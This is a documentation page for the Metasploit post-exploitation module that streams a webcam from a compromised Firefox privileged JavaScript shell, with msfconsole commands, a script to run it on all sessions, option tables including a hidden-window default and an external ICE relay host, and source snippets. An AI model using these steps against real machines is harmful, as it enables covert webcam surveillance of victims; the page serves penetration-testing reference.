Firefox Webcam Chat on Privileged Javascript Shell - Metasploit


This page contains detailed information about how to use the post/firefox/manage/webcam_chat metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Firefox Webcam Chat on Privileged Javascript Shell
Module: post/firefox/manage/webcam_chat
Source code: modules/post/firefox/manage/webcam_chat.rb
Disclosure date: 2014-05-13
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module allows streaming a webcam from a privileged Firefox Javascript shell.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/firefox/manage/webcam_chat

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/firefox/manage/webcam_chat
msf post(webcam_chat) > show options
    ... show and set options ...
msf post(webcam_chat) > set SESSION session-id
msf post(webcam_chat) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/firefox/manage/webcam_chat")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the firefox/manage/webcam_chat post exploitation module looks in the msfconsole:

msf6 > use post/firefox/manage/webcam_chat

msf6 post(firefox/manage/webcam_chat) > show info

       Name: Firefox Webcam Chat on Privileged Javascript Shell
     Module: post/firefox/manage/webcam_chat
   Platform: 
       Arch: 
       Rank: Normal
  Disclosed: 2014-05-13

Provided by:
  joev <[email protected]>

Compatible session types:

Basic options:
  Name       Current Setting     Required  Description
  ----       ---------------     --------  -----------
  CLOSE      false               no        Forcibly close previous chat session
  ICESERVER  wsnodejs.jit.su:80  yes       The ICE server that sets up the P2P connection
  SESSION                        yes       The session to run this module on.
  TIMEOUT    -1                  no        End the chat session after this many seconds
  VISIBLE    false               no        Show a window containing the chat to the target

Description:
  This module allows streaming a webcam from a privileged Firefox 
  Javascript shell.

References:
  http://www.rapid7.com/db/modules/exploit/firefox/local/exec_shellcode

Module Options

This is a complete list of options available in the firefox/manage/webcam_chat post exploitation module:

msf6 post(firefox/manage/webcam_chat) > show options

Module options (post/firefox/manage/webcam_chat):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   CLOSE      false               no        Forcibly close previous chat session
   ICESERVER  wsnodejs.jit.su:80  yes       The ICE server that sets up the P2P connection
   SESSION                        yes       The session to run this module on.
   TIMEOUT    -1                  no        End the chat session after this many seconds
   VISIBLE    false               no        Show a window containing the chat to the target

Advanced Options

Here is a complete list of advanced options supported by the firefox/manage/webcam_chat post exploitation module:

msf6 post(firefox/manage/webcam_chat) > show advanced

Module advanced options (post/firefox/manage/webcam_chat):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   JsIdentifiers                   no        Identifiers to preserve for JsObfu
   JsObfuscate    0                no        Number of times to obfuscate JavaScript
   VERBOSE        false            no        Enable detailed status messages
   WORKSPACE                       no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the firefox/manage/webcam_chat module can do:

msf6 post(firefox/manage/webcam_chat) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the firefox/manage/webcam_chat post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(firefox/manage/webcam_chat) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Windows versions of Firefox are not supported at this time [RM #8810].

Here is a relevant code snippet related to the "Windows versions of Firefox are not supported at this time [RM #8810]." error message:

31:	    ])
32:	  end
33:	
34:	  def run
35:	    unless os_check
36:	      print_error "Windows versions of Firefox are not supported at this time [RM #8810]."
37:	      return
38:	    end
39:	
40:	    server     = datastore['ICESERVER']
41:	    offerer_id = Rex::Text.rand_text_alphanumeric(10)

No response received

Here is a relevant code snippet related to the "No response received" error message:

48:	    else
49:	      if result.present?
50:	        print_status result
51:	        connect_video_chat(server, channel, offerer_id)
52:	      else
53:	        print_warning "No response received"
54:	      end
55:	    end
56:	  end
57:	
58:	  def os_check

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References

See Also

Check also the following modules related to this module:

Authors

  • joev

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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